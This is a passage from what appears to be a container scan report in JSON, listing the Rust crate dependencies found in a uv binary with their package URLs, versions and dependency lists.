"uv-fs@0.0.58", "uv-git@0.0.58", "uv-normalize@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-requirements-txt@0.0.58", "uv-resolver@0.0.58", "uv-scripts@0.0.58", "uv-types@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-requirements-txt@0.0.58", "Name": "uv-requirements-txt", "Identifier": { "PURL": "pkg:cargo/uv-requirements-txt@0.0.58", "UID": "28258180eef20bae" }, "Version": "0.0.58", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "fs-err@3.3.0", "memchr@2.8.2", "reqwest@0.13.4", "rustc-hash@2.1.2", "thiserror@2.0.18", "tracing@0.1.44", "unscanny@0.1.0", "url@2.5.8", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-resolver@0.0.58", "Name": "uv-resolver", "Identifier": { "PURL": "pkg:cargo/uv-resolver@0.0.58", "UID": "1e8445f90700031c" }, "Version": "0.0.58", "DependsOn": [ "arcstr@1.2.0", "astral-pubgrub@0.3.3", "clap@4.6.1", "cyclonedx-bom@0.8.1", "either@1.16.0", "fs-err@3.3.0", "futures@0.3.32", "hashbrown@0.17.1", "indexmap@2.14.0", "itertools@0.14.0", "jiff@0.2.28", "owo-colors@4.3.0", "papaya@0.2.4", "percent-encoding@2.3.2", "petgraph@0.8.3", "rkyv@0.8.16", "rustc-hash@2.1.2", "same-file@1.0.6", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "smallvec@1.15.2", "textwrap@0.16.2", "thiserror@2.0.18", "tokio@1.52.3", "tokio-stream@0.1.18", "toml@1.1.2+spec-1.1.0", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-console@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-git@0.0.58", "uv-git-types@0.0.58", "uv-metadata@0.0.58", "uv-normalize@0.0.58", "uv-once-map@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-requirements-txt@0.0.58", "uv-small-str@0.0.58", "uv-static@0.0.58", "uv-torch@0.0.58", "uv-types@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-scripts@0.0.58", "Name": "uv-scripts", "Identifier": { "PURL": "pkg:cargo/uv-scripts@0.0.58", "UID": "7d92353e711d6ab7" }, "Version": "0.0.58", "DependsOn": [ "fs-err@3.3.0", "indoc@2.0.7", "memchr@2.8.2", "regex@1.12.4", "serde@1.0.228", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-settings@0.0.58", "uv-warnings@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-settings@0.0.58", "Name": "uv-settings", "Identifier": { "PURL": "pkg:cargo/uv-settings@0.0.58", "UID": "f9f391a4bf610311" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "fs-err@3.3.0", "schemars@1.2.1", "serde@1.0.228", "serde-untagged@0.1.9", "textwrap@0.16.2", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-info@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-dirs@0.0.58", "uv-distribution-types@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-install-wheel@0.0.58", "uv-normalize@0.0.58", "uv-options-metadata@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-resolver@0.0.58", "uv-static@0.0.58", "uv-torch@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-shell@0.0.58", "Name": "uv-shell", "Identifier": { "PURL": "pkg:cargo/uv-shell@0.0.58", "UID": "480f0cc6ed48949f" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "fs-err@3.3.0", "nix@0.31.3", "same-file@1.0.6", "tracing@0.1.44", "uv-fs@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-small-str@0.0.58", "Name": "uv-small-str", "Identifier": { "PURL": "pkg:cargo/uv-small-str@0.0.58", "UID": "2fc9aa073b5004d9" }, "Version": "0.0.58", "DependsOn": [ "arcstr@1.2.0", "rkyv@0.8.16", "schemars@1.2.1", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-state@0.0.58", "Name": "uv-state", "Identifier": { "PURL": "pkg:cargo/uv-state@0.0.58", "UID": "b40836e0e4fcd6de" }, "Version": "0.0.58", "DependsOn": [ "tempfile@3.27.0", "uv-dirs@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-static@0.0.58", "Name": "uv-static", "Identifier": { "PURL": "pkg:cargo/uv-static@0.0.58", "UID": "a02844054cc89c11" }, "Version": "0.0.58", "DependsOn": [ "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-test@0.0.58", "Name": "uv-test", "Identifier": { "PURL": "pkg:cargo/uv-test@0.0.58", "UID": "d50b9fd800ea6e49" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "assert_cmd@2.2.2", "assert_fs@1.1.4", "astral-tokio-tar@0.6.3", "astral_async_zip@0.0.18", "base64@0.22.1", "flate2@1.1.9", "fs-err@3.3.0", "futures@0.3.32", "http@1.4.1", "ignore@0.4.26", "indoc@2.0.7", "insta@1.48.0", "itertools@0.14.0", "predicates@3.1.4", "regex@1.12.4", "reqwest@0.13.4", "serde@1.0.228", "serde_json@1.0.150", "sha2@0.10.9", "similar@3.1.1", "tempfile@3.27.0", "tokio@1.52.3", "tokio-util@0.7.18", "toml@1.1.2+spec-1.1.0", "url@2.5.8", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-preview@0.0.58", "uv-python@0.0.58", "uv-static@0.0.58", "uv-version@0.11.25", "wiremock@0.6.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-toml@0.0.58", "Name": "uv-toml", "Identifier": { "PURL": "pkg:cargo/uv-toml@0.0.58", "UID": "c4c84ca5bfa04fb6" }, "Version": "0.0.58", "DependsOn": [ "serde@1.0.228", "toml_datetime@1.1.1+spec-1.1.0", "toml_parser@1.1.2+spec-1.1.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-tool@0.0.58", "Name": "uv-tool", "Identifier": { "PURL": "pkg:cargo/uv-tool@0.0.58", "UID": "f75732e002944e16" }, "Version": "0.0.58", "DependsOn": [ "fs-err@3.3.0", "owo-colors@4.3.0", "pathdiff@0.2.3", "serde@1.0.228", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "uv-cache@0.0.58", "uv-configuration@0.0.58", "uv-dirs@0.0.58", "uv-distribution-types@0.0.58", "uv-fs@0.0.58", "uv-install-wheel@0.0.58", "uv-installer@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-settings@0.0.58", "uv-state@0.0.58", "uv-static@0.0.58", "uv-virtualenv@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-torch@0.0.58", "Name": "uv-torch", "Identifier": { "PURL": "pkg:cargo/uv-torch@0.0.58", "UID": "f62406d1a08b2166" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "either@1.16.0", "fs-err@3.3.0", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "tracing@0.1.44", "url@2.5.8", "uv-distribution-types@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-platform-tags@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-trampoline-builder@0.0.58", "Name": "uv-trampoline-builder", "Identifier": { "PURL": "pkg:cargo/uv-trampoline-builder@0.0.58", "UID": "be42d33452c6fd1e" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "fs-err@3.3.0", "goblin@0.10.7", "tempfile@3.27.0", "thiserror@2.0.18", "uv-fs@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-types@0.0.58", "Name": "uv-types", "Identifier": { "PURL": "pkg:cargo/uv-types@0.0.58", "UID": "d9b31132eb995ad" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "papaya@0.2.4", "rustc-hash@2.1.2", "thiserror@2.0.18", "uv-cache@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-git@0.0.58", "uv-normalize@0.0.58", "uv-once-map@0.0.58", "uv-pep440@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-unix@0.0.58", "Name": "uv-unix", "Identifier": { "PURL": "pkg:cargo/uv-unix@0.0.58", "UID": "1ca0310d59d64ef" }, "Version": "0.0.58", "DependsOn": [ "nix@0.31.3", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-version@0.11.25", "Name": "uv-version", "Identifier": { "PURL": "pkg:cargo/uv-version@0.11.25", "UID": "ab7fb9798e6d3254" }, "Version": "0.11.25", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-virtualenv@0.0.58", "Name": "uv-virtualenv", "Identifier": { "PURL": "pkg:cargo/uv-virtualenv@0.0.58", "UID": "344b92d59ca81d41" }, "Version": "0.0.58", "DependsOn": [ "console@0.16.3", "fs-err@3.3.0", "itertools@0.14.0", "owo-colors@4.3.0", "pathdiff@0.2.3", "thiserror@2.0.18", "tracing@0.1.44", "uv-console@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-platform-tags@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-shell@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-warnings@0.0.58", "Name": "uv-warnings", "Identifier": { "PURL": "pkg:cargo/uv-warnings@0.0.58", "UID": "42a80f85e56b84f1" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "owo-colors@4.3.0", "rustc-hash@2.1.2", "uv-errors@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-workspace@0.0.58", "Name": "uv-workspace", "Identifier": { "PURL": "pkg:cargo/uv-workspace@0.0.58", "UID": "1649c110d0361f7d" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "fs-err@3.3.0", "glob@0.3.3", "ignore@0.4.26", "itertools@0.14.0", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "tokio@1.52.3", "toml@1.1.2+spec-1.1.0", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "uv-build-backend@0.0.58", "uv-cache@0.0.58", "uv-cache-key@0.0.58", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-git-types@0.0.58", "uv-normalize@0.0.58", "uv-once-map@0.0.58", "uv-options-metadata@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "uv-toml@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "vte@0.14.1", "Name": "vte", "Identifier": { "PURL": "pkg:cargo/vte@0.14.1", "UID": "ee00b7f6ac1caee2" }, "Version": "0.14.1", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "wait-timeout@0.2.1", "Name": "wait-timeout", "Identifier": { "PURL": "pkg:cargo/wait-timeout@0.2.1", "UID": "293a4e24b99f31fd" }, "Version": "0.2.1", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "walkdir@2.5.0", "Name": "walkdir", "Identifier": { "PURL": "pkg:cargo/walkdir@2.5.0", "UID": "c27dd902a6be073a" }, "Version": "2.5.0", "DependsOn": [ "same-file@1.0.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "want@0.3.1", "Name": "want", "Identifier": { "PURL": "pkg:cargo/want@0.3.1", "UID": "c826d28e65881823" }, "Version": "0.3.1", "DependsOn": [ "try-lock@0.2.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "webpki-root-certs@1.0.7", "Name": "webpki-root-certs", "Identifier": { "PURL": "pkg:cargo/webpki-root-certs@1.0.7", "UID": "87d6c6c8c3d13351" }, "Version": "1.0.7", "DependsOn": [ "rustls-pki-types@1.14.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "which@8.0.3", "Name": "which", "Identifier": { "PURL": "pkg:cargo/which@8.0.3", "UID": "54c9eee863113f38" }, "Version": "8.0.3", "DependsOn": [ "libc@0.2.186", "regex@1.12.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "winnow@1.0.3", "Name": "winnow", "Identifier": { "PURL": "pkg:cargo/winnow@1.0.3", "UID": "f3ead937f546aabf" }, "Version": "1.0.3", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "wiremock@0.6.5", "Name": "wiremock", "Identifier": { "PURL": "pkg:cargo/wiremock@0.6.5", "UID": "a1e0d71e93c21cd" }, "Version": "0.6.5", "DependsOn": [ "assert-json-diff@2.0.2", "base64@0.22.1", "deadpool@0.12.3", "futures@0.3.32", "http@1.4.1", "http-body-util@0.1.3", "hyper@1.10.1", "hyper-util@0.1.20", "log@0.4.29", "once_cell@1.21.4", "regex@1.12.4", "serde@1.0.228", "serde_json@1.0.150", "tokio@1.52.3", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "writeable@0.6.2", "Name": "writeable", "Identifier": { "PURL": "pkg:cargo/writeable@0.6.2", "UID": "84c6ac8e526b6" }, "Version": "0.6.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "x509-parser@0.18.1", "Name": "x509-parser", "Identifier": { "PURL": "pkg:cargo/x509-parser@0.18.1", "UID": "f0a914645ce40021" }, "Version": "0.18.1", "DependsOn": [ "asn1-rs@0.7.1", "data-encoding@2.11.0", "der-parser@10.0.0", "lazy_static@1.5.0", "nom@7.1.3", "oid-registry@0.8.1", "ring@0.17.14", "rusticata-macros@4.1.0", "thiserror@2.0.18", "time@0.3.47" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "xattr@1.6.1", "Name": "xattr", "Identifier": { "PURL": "pkg:cargo/xattr@1.6.1", "UID": "519dea59b0238d6b" }, "Version": "1.6.1", "DependsOn": [ "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "xml-rs@0.8.28", "Name": "xml-rs", "Identifier": { "PURL": "pkg:cargo/xml-rs@0.8.28", "UID": "b82b59e5865ad8a7" }, "Version": "0.8.28", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "xz2@0.1.7", "Name": "xz2", "Identifier": { "PURL": "pkg:cargo/xz2@0.1.7", "UID": "49cba89c68f50617" }, "Version": "0.1.7", "DependsOn": [ "lzma-sys@0.1.20" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "yoke@0.8.1", "Name": "yoke", "Identifier": { "PURL": "pkg:cargo/yoke@0.8.1", "UID": "323b1087b9669e4b" }, "Version": "0.8.1", "DependsOn": [ "stable_deref_trait@1.2.1", "yoke-derive@0.8.1", "zerofrom@0.1.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "yoke-derive@0.8.1", "Name": "yoke-derive", "Identifier": { "PURL": "pkg:cargo/yoke-derive@0.8.1", "UID": "3780b8f7e74ffad9" }, "Version": "0.8.1", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117", "synstructure@0.13.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zbus@5.15.0", "Name": "zbus", "Identifier": { "PURL": "pkg:cargo/zbus@5.15.0", "UID": "b437361734ec58dd" }, "Version": "5.15.0", "DependsOn": [ "async-broadcast@0.7.2", "async-recursion@1.1.1", "async-trait@0.1.89", "enumflags2@0.7.12", "event-listener@5.4.1", "futures-core@0.3.32", "futures-lite@2.6.1", "hex@0.4.3", "libc@0.2.186", "ordered-stream@0.2.0", "rustix@1.1.4", "serde@1.0.228", "serde_repr@0.1.20", "tokio@1.52.3", "tracing@0.1.44", "uuid@1.23.3", "winnow@1.0.3", "zbus_macros@5.15.0", "zbus_names@4.3.2", "zvariant@5.11.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zbus_macros@5.15.0", "Name": "zbus_macros", "Identifier": { "PURL": "pkg:cargo/zbus_macros@5.15.0", "UID": "a1043b4476cfb5d9" }, "Version": "5.15.0", "DependsOn": [ "proc-macro-crate@3.5.0", "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117", "zbus_names@4.3.2", "zvariant@5.11.0", "zvariant_utils@3.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zbus_names@4.3.2", "Name": "zbus_names", "Identifier": { "PURL": "pkg:cargo/zbus_names@4.3.2", "UID": "626af9bb5e2d38f2" }, "Version": "4.3.2", "DependsOn": [ "serde@1.0.228", "winnow@1.0.3", "zvariant@5.11.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerocopy@0.8.42", "Name": "zerocopy", "Identifier": { "PURL": "pkg:cargo/zerocopy@0.8.42", "UID": "7f2c41c1d2352bcf" }, "Version": "0.8.42", "DependsOn": [ "zerocopy-derive@0.8.42" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerocopy-derive@0.8.42", "Name": "zerocopy-derive", "Identifier": { "PURL": "pkg:cargo/zerocopy-derive@0.8.42", "UID": "83b937978fc7392a" }, "Version": "0.8.42", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerofrom@0.1.6", "Name": "zerofrom", "Identifier": { "PURL": "pkg:cargo/zerofrom@0.1.6", "UID": "1cc1fb3bd97f71c1" }, "Version": "0.1.6", "DependsOn": [ "zerofrom-derive@0.1.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerofrom-derive@0.1.6", "Name": "zerofrom-derive", "Identifier": { "PURL": "pkg:cargo/zerofrom-derive@0.1.6", "UID": "c926beb8b6ca4907" }, "Version": "0.1.6", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117", "synstructure@0.13.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zeroize@1.9.0", "Name": "zeroize", "Identifier": { "PURL": "pkg:cargo/zeroize@1.9.0", "UID": "4d8a10ff85704120" }, "Version": "1.9.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerotrie@0.2.3", "Name": "zerotrie", "Identifier": { "PURL": "pkg:cargo/zerotrie@0.2.3", "UID": "4434fa6e9f9bc226" }, "Version": "0.2.3", "DependsOn": [ "displaydoc@0.2.5", "yoke@0.8.1", "zerofrom@0.1.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerovec@0.11.5", "Name": "zerovec", "Identifier": { "PURL": "pkg:cargo/zerovec@0.11.5", "UID": "6305a411884698bb" }, "Version": "0.11.5", "DependsOn": [ "yoke@0.8.1", "zerofrom@0.1.6", "zerovec-derive@0.11.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerovec-derive@0.11.2", "Name": "zerovec-derive", "Identifier": { "PURL": "pkg:cargo/zerovec-derive@0.11.2", "UID": "1c395b37d920d6f9" }, "Version": "0.11.2", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zlib-rs@0.6.3", "Name": "zlib-rs", "Identifier": { "PURL": "pkg:cargo/zlib-rs@0.6.3", "UID": "4fe1425f6756504f" }, "Version": "0.6.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zmij@1.0.21", "Name": "zmij", "Identifier": { "PURL": "pkg:cargo/zmij@1.0.21", "UID": "2ef91cc6de41adc8" }, "Version": "1.0.21", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zstd@0.13.3", "Name": "zstd", "Identifier": { "PURL": "pkg:cargo/zstd@0.13.3", "UID": "64e6e7b2659d62b" }, "Version": "0.13.3", "DependsOn": [ "zstd-safe@7.2.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zstd-safe@7.2.4", "Name": "zstd-safe", "Identifier": { "PURL": "pkg:cargo/zstd-safe@7.2.4", "UID": "d689e4ce512e9529" }, "Version": "7.2.4", "DependsOn": [ "zstd-sys@2.0.16+zstd.1.5.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zstd-sys@2.0.16+zstd.1.5.7", "Name": "zstd-sys", "Identifier": { "PURL": "pkg:cargo/zstd-sys@2.0.16%2Bzstd.1.5.7", "UID": "2716bc55f78d01c5" }, "Version": "2.0.16+zstd.1.5.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zvariant@5.11.0", "Name": "zvariant", "Identifier": { "PURL": "pkg:cargo/zvariant@5.11.0", "UID": "4b4cf94f06b98d7f" }, "Version": "5.11.0", "DependsOn": [ "endi@1.1.1", "enumflags2@0.7.12", "serde@1.0.228", "winnow@1.0.3", "zvariant_derive@5.11.0", "zvariant_utils@3.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zvariant_derive@5.11.0", "Name": "zvariant_derive", "Identifier": { "PURL": "pkg:cargo/zvariant_derive@5.11.0", "UID": "4f394ad7f8205e84" }, "Version": "5.11.0", "DependsOn": [ "proc-macro-crate@3.5.0", "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117", "zvariant_utils@3.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zvariant_utils@3.3.1", "Name": "zvariant_utils", "Identifier": { "PURL": 